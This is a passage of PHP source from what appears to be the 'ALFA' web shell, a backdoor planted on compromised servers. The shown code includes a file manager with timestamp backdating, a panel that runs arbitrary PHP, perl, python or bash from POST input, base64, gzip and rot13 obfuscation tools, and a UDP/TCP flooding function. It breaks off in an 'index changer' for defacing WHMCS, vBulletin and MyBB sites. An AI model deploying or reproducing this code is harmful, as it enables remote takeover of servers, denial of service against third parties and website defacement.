main_red_perm; fi");\r\n\t}\r\n}\r\nif($_POST[\'alfa2\'] == \'auto\'){\r\nif(is_array(@getimagesize($_POST[\'alfa1\']))){\r\n$_POST[\'alfa2\'] = \'image\';\r\n}else{\r\n\t$_POST[\'alfa2\'] = \'view\';\r\n\tif($chdir_fals){\r\n\t\tif($alfa_canruncmd){\r\n\t\t\t$mime = explode(":", alfaEx("file --mime-type \'".addslashes($_POST[\'alfa1\'])."\'"));\r\n\t\t\t$mimetype = $mime[1];\r\n\t\t\tif(!empty($mimetype)){\r\n\t\t\t\tif(strstr($mimetype, "image")){\r\n\t\t\t\t\t$_POST[\'alfa2\'] = \'image\';\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n}\r\n}\r\nif($_POST[\'alfa2\'] == "rename" && !empty($_POST[\'alfa3\']) && @is_writable($_POST[\'alfa1\'])){$rename_cache = $_POST[\'alfa3\'];}\r\nif(@$_POST[\'alfa2\'] == \'mkfile\'){\r\n$_POST[\'alfa1\'] = trim($_POST[\'alfa1\']);\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\tif(_alfa_is_writable($_POST["c"])){\r\n\t\talfaEx("cd \'".addslashes($_POST["c"])."\';touch \'".addslashes($alfa1_decoded)."\'");\r\n\t\t$_POST[\'alfa2\'] = "edit";\r\n\t}\r\n}\r\nif(!@file_exists($_POST[\'alfa1\'])){\r\n$fp = @fopen($_POST[\'alfa1\'], \'w\');\r\nif($fp){\r\n$_POST[\'alfa2\'] = "edit";\r\nfclose($fp);\r\n}\r\n}else{\r\n$_POST[\'alfa2\'] = "edit";\r\n}\r\n}\r\nif(!_alfa_file_exists(@$_POST[\'alfa1\'])){\r\necho __pre()."<center><p><div class=\\"txtfont\\"><font color=\'red\'>!...FILE DOEST NOT EXITS...!</font></div></p></center></div><script>editor_error=false;removeHistory(\'".$_POST[\'alfa4\']."\');</script>";\r\nalfaFooter();\r\nreturn;\r\n}\r\nif($chdir_fals){\r\n$filesize = $file_info[3];\r\n$uid["name"] = $file_info[1];\r\n$gid["name"] = $file_info[2];\r\n$permcolor = alfaPermsColor(array("class"=>$perm_color_class,"num"=>$file_info[5],"human"=>$file_info[6]),true);\r\n}else{\r\n$uid = function_exists("posix_getpwuid")&&function_exists("fileowner")?@posix_getpwuid(@fileowner($_POST[\'alfa1\'])):\'\';\r\n$gid = function_exists("posix_getgrgid")&&function_exists("filegroup")?@posix_getgrgid(@filegroup($_POST[\'alfa1\'])):\'\';\r\nif(!$uid&&!$gid){\r\n$uid[\'name\'] = function_exists("fileowner")?@fileowner($_POST[\'alfa1\']):\'\';\r\n$gid[\'name\'] = function_exists("filegroup")?@filegroup($_POST[\'alfa1\']):\'\';\r\n}\r\n$permcolor = alfaPermsColor($_POST[\'alfa1\']);\r\n$filesize = @filesize($_POST[\'alfa1\']);\r\nif(!isset($uid[\'name\'],$gid[\'name\'])||empty($uid[\'name\'])||empty($gid[\'name\'])){\r\n\tif(_alfa_can_runCommand()){\r\n\t\tlist($uid[\'name\'],$gid[\'name\']) = explode(":", alfaEx(\'stat -c "%U:%G" "\'.addslashes($_POST["c"]."/".$_POST["alfa1"]).\'"\'));\r\n\t}\r\n}\r\n}\r\nif(substr($_POST[\'alfa1\'], 0, 7) == "phar://"){\r\n\t$alfa_file_directory = $_POST[\'alfa1\'];\r\n}else{\r\n\t$alfa_file_directory = str_replace("//", "/",($chdir_fals?"":$_POST[\'c\'].\'/\').$_POST[\'alfa1\']);\r\n}\r\necho \'<div style="overflow: hidden;white-space: nowrap;text-overflow: ellipsis;"><span class="editor_file_info_vars">Name:</span> \'.htmlspecialchars(basename($alfa1_decoded)).\' <span class="editor_file_info_vars">Size:</span> \'.alfaSize($filesize).\' <span class="editor_file_info_vars">Permission:</span> \'.$permcolor.\' <span class="editor_file_info_vars">Owner/Group:</span> \'.$uid[\'name\'].\'/\'.$gid[\'name\'].\' <span class="editor_file_info_vars">Directory:</span> \'.dirname($alfa_file_directory).\'</div>\';\r\nif(empty($_POST[\'alfa2\']))$_POST[\'alfa2\'] = \'view\';\r\nif(!_alfa_is_dir($_POST[\'alfa1\'])){\r\n$m = array(\'View\', \'Download\', \'Highlight\', \'Chmod\', \'Rename\', \'Touch\', \'Delete\', \'Image\', \'Hexdump\');\r\n$ftype = "file";\r\n}else{\r\n$m = array(\'Chmod\', \'Rename\', \'Touch\');\r\n$ftype = "dir";\r\n}\r\necho(\'<div>\');\r\nforeach($m as $v)\r\necho $v == \'Delete\' ? \'<a href="javascript:void(0);" onclick="var chk=confirm(\\\'Are You Sure For Delete This File ?\\\');chk?editor(\\\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\\\',\\\'\'.strtolower($v).\'\\\',\\\'\\\',\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\'):\\\'\\\';"><span class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a> \' : \'<a href="javascript:void(0);" onclick="editor(\\\'\'.addslashes(!isset($rename_cache)?$_POST[\'alfa1\']:$rename_cache).\'\\\',\\\'\'.strtolower($v).\'\\\',\\\'\\\',\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\')"><span class="editor_actions">\'.((strtolower($v)==@$_POST[\'alfa2\'])?\'<b><span class="editor_actions"> \'.$v.\' </span> </b>\':$v).\' | </span></a>\';\r\necho \'</div>\';\r\nswitch($_POST[\'alfa2\']){\r\ncase \'view\':case \'edit\':\r\n@chdir($_POST[\'c\']);\r\n$disabled_btn = "";\r\nif(!@is_writable($_POST[\'alfa1\'])&&!_alfa_is_writable($_POST[\'alfa1\'])){\r\n$disabled_btn = "disabled=disabled";\r\n$disabled_btn_style= \'background: #ff0000;color: #fff;\';\r\n}\r\nif(!empty($_POST[\'alfa3\'])){\r\n$_POST[\'alfa3\'] = substr($_POST[\'alfa3\'],1);\r\n$time = @filemtime($_POST[\'alfa1\']);\r\n$fp = @__write_file($_POST[\'alfa1\'],$_POST[\'alfa3\']);\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\t$rname = $alfa1_decoded;\r\n\t$randname = $rname.rand(111,9999);\r\n\t$filepath = dirname($_SERVER["SCRIPT_FILENAME"])."/".$randname;\r\n\tif($fp = @__write_file($filepath ,$_POST[\'alfa3\'])){\r\n\t\talfaEx("mv \'".addslashes($filepath)."\' \'".addslashes($_POST["alfa1"])."\';rm -f \'".addslashes($filepath)."\'");\r\n\t}\r\n}\r\nif($fp){\r\necho \'Saved!<br>\';\r\n@touch($_POST[\'alfa1\'],$time,$time);\r\n}\r\n}\r\necho \'<div class="editor-view"><div class="view-content editor-ace-controller"><div style="display:inline-block;">\'._alfa_load_ace_options("editor").\'<button style="border-radius:10px;" class="button ace-controler" onClick="copyToClipboard(this);">Copy</button> <button class="button ace-controler" onclick="alfaAceToFullscreen(this);">Full Screen</button> <button onclick="var ace_val = alfa_ace_editors.editor[this.getAttribute(\\\'ace_id\\\')].getValue();editor(\\\'\'.addslashes($alfa1_decoded).\'\\\',\\\'edit\\\',\\\'1\\\'+ace_val,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;" class="button ace-controler ace-save-btn" style="width: 100px;height: 33px;\'.$disabled_btn_style.\'" \'.$disabled_btn.\'>save</button></div><pre class="ml1 view_ml_content">\';\r\necho htmlspecialchars(__read_file($_POST[\'alfa1\']));\r\necho \'</pre></div></div>\';\r\nbreak;\r\ncase \'highlight\':\r\n@chdir($_POST[\'c\']);\r\nif(@is_readable($_POST[\'alfa1\'])){\r\necho \'<div class="editor-view"><div class="view-content"><div class="ml1" style="background-color: #e1e1e1;color:black;">\';\r\n$code = @highlight_file($_POST[\'alfa1\'],true);\r\necho str_replace(array(\'<span \',\'</span>\'), array(\'<font \',\'</font>\'),$code).\'</div></div></div>\';\r\n}\r\nbreak;\r\ncase \'delete\':\r\n@chdir($_POST[\'c\']);\r\nif(@is_writable($_POST[\'alfa1\'])||$GLOBALS["glob_chdir_false"]){\r\n$deleted = true;\r\nif(!@unlink($_POST[\'alfa1\'])){\r\n\t$deleted = false;\r\n\tif($alfa_canruncmd){\r\n\t\tif(_alfa_is_writable($_POST[\'alfa1\'])){\r\n\t\t\talfaEx("rm -f \'".addslashes($_POST[\'alfa1\'])."\'");\r\n\t\t\t$deleted = true;\r\n\t\t}\r\n\t}\r\n}\r\nif($deleted)echo \'File Deleted...<script>var elem = $("\'.$_POST[\'alfa4\'].\'").parentNode;elem.parentNode.removeChild(elem);delete editor_files["\'.$_POST[\'alfa4\'].\'"];</script>\';else echo \'Error...\';}\r\nbreak;\r\ncase \'chmod\':\r\n@chdir($_POST[\'c\']);\r\nif(!empty($_POST[\'alfa3\'])){\r\n$perms = 0;\r\nfor($i=strlen($_POST[\'alfa3\'])-1;$i>=0;--$i)\r\n$perms += (int)$_POST[\'alfa3\'][$i]*pow(8, (strlen($_POST[\'alfa3\'])-$i-1));\r\nif(!@chmod($_POST[\'alfa1\'], $perms)){\r\nif($chdir_fals&&$alfa_canruncmd){\r\nalfaEx("cd \'".addslashes($_POST["c"])."\';chmod ".addslashes($_POST[\'alfa3\'])." \'".addslashes($alfa1_decoded)."\'");\r\necho(\'Success!\');\r\n}else{\r\necho \'<font color="#FFFFFF"><b>Can\\\'t set permissions!</b></font><br><script>document.mf.alfa3.value="";</script>\';}\r\n}else{echo(\'Success!\');}\r\n}\r\nclearstatcache();\r\nAlfaNum(8,9,10,7,6,5,4,2,1);\r\nif($chdir_fals){\r\n\t$file_perm = $file_info[5];\r\n}else{\r\n\t$file_perm = substr(sprintf(\'%o\', @fileperms($_POST[\'alfa1\'])),-4);\r\n}\r\necho \'<script>alfa3_="";</script><form onsubmit="editor(\\\'\'.addslashes($_POST[\'alfa1\']).\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.chmod.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type="text" name="chmod" value="\'.$file_perm.\'"><input type=submit value=" "></form>\';\r\nbreak;\r\ncase \'hexdump\':\r\n@chdir($_POST[\'c\']);\r\n$c = __read_file($_POST[\'alfa1\']);\r\n$n = 0;\r\n$h = array(\'00000000<br>\',\'\',\'\');\r\n$len = strlen($c);\r\nfor ($i=0; $i<$len; ++$i) {\r\n$h[1] .= sprintf(\'%02X\',ord($c[$i])).\' \';\r\nswitch ( ord($c[$i]) ) {\r\ncase 0: $h[2] .= \' \'; break;\r\ncase 9: $h[2] .= \' \'; break;\r\ncase 10: $h[2] .= \' \'; break;\r\ncase 13: $h[2] .= \' \'; break;\r\ndefault: $h[2] .= $c[$i]; break;\r\n}\r\n$n++;\r\nif ($n == 32) {\r\n$n = 0;\r\nif ($i+1 < $len) {$h[0] .= sprintf(\'%08X\',$i+1).\'<br>\';}\r\n$h[1] .= \'<br>\';\r\n$h[2] .= "\\n";\r\n}\r\n}\r\necho \'<div class="editor-view"><div class="view-content"><table cellspacing=1 cellpadding=5 bgcolor=black><tr><td bgcolor=gray><span style="font-weight: normal;"><pre>\'.$h[0].\'</pre></span></td><td bgcolor=#282828><pre>\'.$h[1].\'</pre></td><td bgcolor=#333333><pre>\'.htmlspecialchars($h[2]).\'</pre></td></tr></table></div></div>\';\r\nbreak;\r\ncase \'rename\':\r\n@chdir($_POST[\'c\']);\r\n$alfa1_escape = addslashes($_POST["alfa1"]);\r\n$alfa3_escape = addslashes($_POST["alfa3"]);\r\nif(!empty($_POST[\'alfa3\'])){\r\n$cmd_rename = false;\r\nif($chdir_fals&&$alfa_canruncmd){\r\nif(_alfa_is_writable($_POST[\'alfa1\'])){\r\n$alfa1_escape = addslashes($alfa1_decoded);\r\nalfaEx("cd \'".addslashes($_POST[\'c\'])."\';mv \'".$alfa1_escape."\' \'".addslashes($_POST[\'alfa3\'])."\'");\r\n}else{\r\n$cmd_rename = true;\r\n}\r\n}else{\r\n$alfa1_escape = addslashes($_POST["alfa1"]);\r\n}\r\nif(!@rename($_POST[\'alfa1\'], $_POST[\'alfa3\'])&&$cmd_rename){\r\necho \'Can\\\'t rename!<br>\';}else{echo(\'Renamed!<script>try{$("\'.$_POST[\'alfa4\'].\'").innerHTML = "<div class=\\\'editor-icon\\\'>"+loadType(\\\'\'.$alfa3_escape.\'\\\',\\\'\'.$ftype.\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\')+"</div><div class=\\\'editor-file-name\\\'>\'.$alfa3_escape.\'</div>";editor_files["\'.$_POST[\'alfa4\'].\'"].file = "\'.$alfa3_escape.\'";updateFileEditor("\'.$alfa1_escape.\'", "\'.$alfa3_escape.\'");\'.($ftype == "dir"?"updateDirsEditor(\'".$_POST[\'alfa4\']."\',\'".$alfa1_escape."\');":"").\'}catch(e){console.log(e)}</script>\');$alfa1_escape = $alfa3_escape;}\r\n}\r\necho \'<form onsubmit="editor(\\\'\'.$alfa1_escape.\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.name.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type="text" name="name" value="\'.addslashes(htmlspecialchars(isset($_POST[\'alfa3\'])&&$_POST[\'alfa3\']!=\'\'?$_POST[\'alfa3\']:$alfa1_decoded)).\'"><input type=submit value=" "></form>\';\r\nbreak;\r\ncase \'touch\':\r\n@chdir($_POST[\'c\']);\r\nif( !empty($_POST[\'alfa3\']) ) {\r\n$time = strtotime($_POST[\'alfa3\']);\r\nif($time){\r\n$touched = false;\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\talfaEx("cd \'".addslashes($_POST["c"])."\';touch -d \'".htmlspecialchars(addslashes($_POST[\'alfa3\']))."\' \'".addslashes($alfa1_decoded)."\'");\r\n\t$touched = true;\r\n}\r\nif(!@touch($_POST[\'alfa1\'],$time,$time)&&!$touched)\r\necho \'Fail!\';\r\nelse\r\necho \'Touched!\';\r\n} else echo \'Bad time format!\';\r\n}\r\nclearstatcache();\r\necho \'<script>alfa3_="";</script><form onsubmit="editor(\\\'\'.addslashes($_POST[\'alfa1\']).\'\\\',\\\'\'.$_POST[\'alfa2\'].\'\\\',this.touch.value,\\\'\'.$_POST[\'c\'].\'\\\',\\\'\'.$_POST[\'alfa4\'].\'\\\',\\\'\'.$ftype.\'\\\');return false;"><input type=text name=touch value="\'.date("Y-m-d H:i:s", ($chdir_fals?$file_info[4]:@filemtime($_POST[\'alfa1\']))).\'"><input type=submit value=" "></form>\';\r\nbreak;\r\ncase \'image\':\r\n@chdir($_POST[\'c\']);\r\necho(\'<hr>\');\r\n$file = $_POST[\'alfa1\'];\r\n$image_info = @getimagesize($file);\r\nif(is_array($image_info)||$chdir_fals){\r\n$width = (int)$image_info[0];\r\n$height = (int)$image_info[1];\r\nif($chdir_fals&&$alfa_canruncmd){\r\n\t$source = alfaEx("cat \'".addslashes($file)."\' | base64");\r\n\tlist($width, $height) = explode(":", alfaEx("identify -format \'%w:%h\' \'".addslashes($file)."\'"));\r\n\t$mime = explode(":", alfaEx("file --mime-type \'".addslashes($file)."\'"));\r\n\t$image_info[\'mime\'] = $mime[1];\r\n}else{\r\n\t$source = __ZW5jb2Rlcg(__read_file($file, false));\r\n}\r\n$image_info_h = "Image type = <span>[</span> ".$image_info[\'mime\']." <span>]</span><br>Image Size = <span>[ </span>".$width." x ".$height."<span> ]</span><br>";\r\nif($width > 800){$width = 800;}\r\necho $content = "<div class=\'editor-view\'><div class=\'view-content\'><center>".$image_info_h."<br><img id=\'viewImage\' style=\'max-width:100%;border:1px solid green;\' src=\'data:".$image_info[\'mime\'].";base64,".$source."\' alt=\'".$file."\'></center></div></div><br>";\r\n}\r\nbreak;\r\n}\r\necho \'</div>\';\r\nalfaFooter();\r\n}\r\nfunction findicon($file,$type){\r\n$s = \'http://solevisible.com/icons/\';\r\n$types = array(\'json\',\'ppt\',\'pptx\',\'xls\',\'xlsx\',\'msi\',\'config\',\'cgi\',\'pm\',\'c\',\'cpp\',\'cs\',\'java\',\'aspx\',\'asp\',\'db\',\'ttf\',\'eot\',\'woff\',\'woff2\',\'woff\',\'conf\',\'log\',\'apk\',\'cab\',\'bz2\',\'tgz\',\'dmg\',\'izo\',\'jar\',\'7z\',\'iso\',\'rar\',\'bat\',\'sh\',\'alfa\',\'gz\',\'tar\',\'php\',\'php4\',\'php5\',\'phtml\',\'html\',\'xhtml\',\'shtml\',\'htm\',\'zip\',\'png\',\'jpg\',\'jpeg\',\'gif\',\'bmp\',\'ico\',\'txt\',\'js\',\'rb\',\'py\',\'xml\',\'css\',\'sql\',\'htaccess\',\'pl\',\'ini\',\'dll\',\'exe\',\'mp3\',\'mp4\',\'m4a\',\'mov\',\'flv\',\'swf\',\'mkv\',\'avi\',\'wmv\',\'mpg\',\'mpeg\',\'dat\',\'pdf\',\'3gp\',\'doc\',\'docx\',\'docm\');\r\nif($type!=\'file\'){\r\nreturn ($file==\'..\'?$s.\'back.png\':$s.\'folder.png\');\r\n}else{\r\n$ext = explode(\'.\',$file);\r\n$ext = end($ext);\r\n$ext = strtolower($ext);\r\nreturn (in_array($ext,$types)?$s.$ext.\'.png\':$s.\'notfound.png\');\r\n}\r\n}\r\nfunction alfadlfile(){\r\nif(isset($_POST[\'c\'],$_POST[\'file\'])){\r\n$basename = rawurldecode(basename($_POST[\'file\']));\r\n$_POST[\'file\'] = str_replace("//", "/", $_POST[\'c\'].\'/\'.$basename);\r\n$alfa_canruncmd = _alfa_can_runCommand(true,true);\r\nif(@is_file($_POST[\'file\']) && @is_readable($_POST[\'file\']) || $alfa_canruncmd){\r\nob_start("ob_gzhandler", 4096);\r\nheader("Content-Disposition: attachment; filename=\\"".addslashes($basename)."\\"");\r\nheader("Content-Type: application/octet-stream");\r\nif($GLOBALS["glob_chdir_false"]){\r\n\t$randname = $basename.rand(111,9999);\r\n\t$scriptpath = dirname($_SERVER["SCRIPT_FILENAME"]);\r\n\t$filepath = $scriptpath."/".$randname;\r\n\tif(_alfa_is_writable($scriptpath)){\r\n\t\talfaEx("cp \'".addslashes($_POST["file"])."\' \'".addslashes($filepath)."\'");\r\n\t\treadfile($filepath);\r\n\t\t@unlink($filepath);\r\n\t}else{\r\n\t\talfaEx("cat \'".addslashes($_POST["file"])."\'");\r\n\t}\r\n}else{\r\n\treadfile($_POST[\'file\']);\r\n}\r\n}else echo(\'Error...!\');}}\r\nfunction __alfa_set_cookie($key, $value){\r\n\t$_COOKIE[$key] = $value;\r\n\t@setcookie($key, $value, time()+(86400 * 7), \'/\');\r\n}\r\nfunction alfaphpeval(){\r\nif(isset($_COOKIE["eval_tmpdir"])&&@is_dir($_COOKIE["eval_tmpdir"])){\r\n\t$tempdir = $_COOKIE["eval_tmpdir"];\r\n}else{\r\n\t$tempdir = dirname(alfaEx("mktemp"));\r\n\t__alfa_set_cookie("eval_tmpdir", $tempdir);\r\n}\r\nalfahead();\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'ini\')){\r\necho \'<div class=header>\';\r\nob_start();\r\n$INI=ini_get_all();\r\nprint \'<table border=0><tr>\'\r\n.\'<td class="listing"><font class="highlight_txt">Param</td>\'\r\n.\'<td class="listing"><font class="highlight_txt">Global value</td>\'\r\n.\'<td class="listing"><font class="highlight_txt">Local Value</td>\'\r\n.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';\r\nforeach ($INI as $param => $values)\r\nprint "\\n".\'<tr>\'\r\n.\'<td class="listing"><b>\'.$param.\'</td>\'\r\n.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\'\r\n.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\'\r\n.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';\r\n$tmp = ob_get_clean();\r\n$tmp = preg_replace(\'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);\r\n$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\necho str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\r\n}\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'info\')) {\r\necho \'<div class=header><style>.p {color:#000;}</style>\';\r\nob_start();\r\nphpinfo();\r\n$tmp = ob_get_clean();\r\n$tmp = preg_replace(\'!(body|a:\\w+|body, td, th, h1, h2) {.*}!msiU\',\'\',$tmp);\r\n$tmp = preg_replace(\'!td, th {(.*)}!msiU\',\'.e, .v, .h, .h th {$1}\',$tmp);\r\necho str_replace(\'<h1\',\'<h2\', $tmp) .\'</div><br>\';\r\n}\r\nif(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'exten\')) {\r\necho \'<div class=header>\';\r\nob_start();\r\n$EXT=get_loaded_extensions();\r\necho \'<table border=0><tr><td class="listing">\'.implode(\'</td></tr>\'."\\n".\'<tr><td class="listing">\', $EXT).\'</td></tr></table>\'.count($EXT).\' extensions loaded\';\r\necho \'</div><br>\';\r\n}\r\n$lang_html = "";\r\nforeach(array("php"=>"php ~> [ Windows / Linux ]","perl"=>"perl ~> [ Linux ]","python"=>"python ~> [ Linux ]","bash"=>"bash ~> [ Linux ]") as $key=>$val){$lang_html .= \'<option value="\'.$key.\'" \'.($_POST["alfa3"]==$key?"selected":"").\'>\'.$val.\'</option>\';}\r\necho \'<div class=header><Center><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'ini\\\')">| INI_INFO | </a><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'info\\\')"> | phpinfo |</a><a href=javascript:void(0) onclick="g(\\\'phpeval\\\',null,\\\'\\\',\\\'exten\\\')"> | extensions |</a></center><br><form class="php-evals" name="pf" method="post" onsubmit="var ace_value=geEvalAceValue(this);g(\\\'phpeval\\\',null,ace_value,null,this.language.value); return false;"><div class="txtfont">Select Language: </div> <select name="language" style="width:300px;">\'.$lang_html.\'</select>\'._alfa_load_ace_options("eval").\'<br><br><div class="bigarea" style="position:relative;"><div class="php-evals-ace">\'.(!empty($_POST[\'alfa1\'])?htmlspecialchars($_POST[\'alfa1\']):"<?php\\n\\n\\techo(\'hello alfa !\');\\n\\n?>").\'</div></div><center><input type="submit" value="" style="margin-top:5px"></center>\';\r\necho \'</form><pre id="PhpOutput" style="\'.(empty($_POST[\'alfa1\'])?\'display:none;\':\'\').\'margin-top:5px;" class="ml1">\';\r\nif(!empty($_POST[\'alfa1\'])){\r\nif($_POST[\'alfa3\']=="php"){\r\nob_start();\r\neval(\'?>\'.$_POST[\'alfa1\']);\r\n$result = htmlspecialchars(ob_get_clean());\r\n}elseif(_alfa_can_runCommand()&&$GLOBALS["sys"]=="unix"){\r\n\t$lang = $_POST[\'alfa3\'];\r\n\t$filename = "temp".rand(11111,99999);\r\n\t$temp = $tempdir."/".$filename ;\r\n\t__write_file($filename, $_POST[\'alfa1\']);\r\n\t$result = alfaEx("mv {$filename} {$temp};{$lang} {$temp};rm -f {$temp}");\r\n\t@unlink($filename);\r\n\t@unlink($temp);\r\n}\r\necho \'<textarea class="bigarea">\'.$result.\'</textarea>\';\r\n}\r\necho \'</pre></div>\';\r\nalfafooter();\r\n}\r\nfunction alfahash(){\r\nif(!function_exists(\'hex2bin\')) {function hex2bin($p) {return decbin(hexdec($p));}}\r\nif(!function_exists(\'full_urlencode\')) {function full_urlencode($p){$r=\'\';for($i=0;$i<strlen($p);++$i)$r.= \'%\'.dechex(ord($p[$i]));return strtoupper($r);}}\r\n$stringTools = array(\r\n\'Base64_encode ( $string )\' => \'__ZW5jb2Rlcg($s)\',\r\n\'Base64_decode ( $string )\' => \'__ZGVjb2Rlcg($s)\',\r\n\'strrev ( $string )\' => \'strrev($s)\',\r\n\'bin2hex ( $string )\' => \'bin2hex($s)\',\r\n\'hex2bin ( $string )\' => \'hex2bin($s)\',\r\n\'md5 ( $string )\' => \'md5($s)\',\r\n\'sha1 ( $string )\' => \'sha1($s)\',\r\n\'hash ( "sha251", $string ) --> sha251\' => \'hash("sha256",$s)\',\r\n\'hash ( "sha384", $string ) --> sha384\' => \'hash("sha384",$s)\',\r\n\'hash ( "sha512", $string ) --> sha512\' => \'hash("sha512",$s)\',\r\n\'crypt ( $string )\' => \'crypt($s)\',\r\n\'crc32 ( $string )\' => \'crc32($s)\',\r\n\'str_rot13 ( $string )\' => \'str_rot13($s)\',\r\n\'urlencode ( $string )\' => \'urlencode($s)\',\r\n\'urldecode ( $string )\' => \'urldecode($s)\',\r\n\'full_urlencode ( $string )\' => \'full_urlencode($s)\',\r\n\'htmlspecialchars ( $string )\' => \'htmlspecialchars($s)\',\r\n\'base64_encode (gzdeflate( $string , 9)) --> Encode\' => \'__ZW5jb2Rlcg(gzdeflate($s, 9))\',\r\n\'gzinflate (base64_decode( $string )) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg($s))\',\r\n\'str_rot13 (base64_encode( $string )) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg($s))\',\r\n\'base64_decode (str_rot13( $string )) --> Decode\' => \'__ZGVjb2Rlcg(str_rot13($s))\',\r\n\'str_rot13 (base64_encode(gzdeflate( $string , 9))) --> Encode\' => \'str_rot13(__ZW5jb2Rlcg(gzdeflate($s,9)))\',\r\n\'gzinflate (base64_decode(str_rot13( $string ))) --> Decode\' => \'@gzinflate(__ZGVjb2Rlcg(str_rot13($s)))\',\r\n);\r\nalfahead();\r\necho \'<div class=header>\';\r\necho "<form onSubmit=\'g(\\"hash\\",null,this.selectTool.value,this.input.value);return false;\'><div class=\'txtfont\'>Method:</div> <select name=\'selectTool\' style=\'width:400px;\'>";\r\nforeach($stringTools as $k => $v)\r\necho "<option value=\'".htmlspecialchars($v)."\' ".($_POST[\'alfa1\']==$v?\'selected\':\'\').">".$k."</option>";\r\necho "</select> <input type=\'submit\' value=\' \'/><br><textarea name=\'input\' style=\'margin-top:5px\' class=\'bigarea\'>".(empty($_POST[\'alfa1\'])?\'\':htmlspecialchars(@$_POST[\'alfa2\']))."</textarea></form>";\r\nif(!empty($_POST[\'alfa1\'])){\r\n$string = addslashes($_POST[\'alfa2\']);\r\n$string = str_replace(\'\\"\',\'"\',$string);\r\n$alg = $_POST[\'alfa1\'];\r\n$code = str_replace(\'$s\',"\'".$string."\'",$alg);\r\nob_start();\r\neval(\'echo \'.$code.\';\');\r\n$res = ob_get_contents();\r\nob_end_clean();\r\nif(in_array($alg, $stringTools))echo \'<textarea class="bigarea">\'.htmlspecialchars($res).\'</textarea>\';\r\n}\r\necho "</div>";\r\nalfaFooter();\r\n}\r\nfunction alfados(){\r\nalfahead();\r\necho \'<div class=header>\';\r\necho \'<center><p><div class="txtfont_header">| DOS |</div></p><form onSubmit="g(\\\'dos\\\',null,this.host.value,this.time.value,this.port.value,this.m.value); return false;"><div class="txtfont">Method : <select name="m" style="width:80px;"><option value="udp">UDP</option><option value="tcp">TCP</option></select> Host : <input name="host" type="text" value="localhost" size="25" /> Time : <input name="time" type="text" size="15" /> Port : <input name="port" type="text" size="10" /> <input type="submit" value=" " /></div></form></center><br>\';\r\nif(!empty($_POST[\'alfa1\']) && !empty($_POST[\'alfa2\']) && !empty($_POST[\'alfa3\'])){\r\necho __pre();\r\n$packets=0;\r\nignore_user_abort(true);\r\n$exec_time=(int)$_POST[\'alfa2\'];\r\n$time=time();\r\n$max_time=$exec_time+$time;\r\n$host=$_POST[\'alfa1\'];\r\n$port=(int)$_POST[\'alfa3\'];\r\n$method=$_POST[\'alfa4\'];\r\n$out = str_repeat(\'X\',65000);\r\nwhile(1){\r\n$packets++;\r\nif(time() > $max_time){\r\nbreak;\r\n}\r\n$fp = @fsockopen($method.\'://\'.$host, $port, $errno, $errstr, 5);\r\nif($fp){\r\nfwrite($fp, $out);\r\nfclose($fp);\r\n}\r\n}\r\necho "<center>$packets (" . @round(($packets*65)/1024, 2) . " MB) packets averaging ". @round($packets/$exec_time, 2) . " packets per second</center>";\r\necho "</pre>";\r\n}\r\necho \'</div>\';\r\nalfafooter();\r\n}\r\nfunction __pre(){return(\'<pre id="strOutput" style="margin-top:5px" class="ml1">\');}\r\nfunction alfaIndexChanger(){\r\nalfahead();\r\n\r\necho \'<div class=header><center><p><div class="txtfont_header">| Index Changer |</div></p><h3><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,null,null,\\\'whmcs\\\')">| Whmcs | </a><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,\\\'vb\\\',null)">| vBulletin | </a><a href=javascript:void(0) onclick="g(\\\'IndexChanger\\\',null,null,\\\'mybb\\\')">| MyBB | </a></h3></center>\';\r\nif(isset($_POST[\'alfa3\'])&&($_POST[\'alfa3\'] == \'whmcs\')){\r\necho __pre();\r\n\r\necho "<center><center><div class=\'txtfont_header\'>| Whmcs |</div>\r\n<p><center>".getConfigHtml(\'whmcs\')."<form onSubmit=\\"g(\'IndexChanger\',null,null,null,\'whmcs\',this.fname.value,this.path.value,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.index.value); return false;\\">\r\n";\r\n$table = array(\'td1\' =>\r\n array(\'color\' => \'FFFFFF\', \'tdName\' => \'Mysql Host\', \'inputName\' => \'dbh\', \'id\' => \'db_host\', \'inputValue\' => \'localhost\', \'inputSize\' => \'50\'),\r\n \'td2\' =>\r\n array(\'color\' => 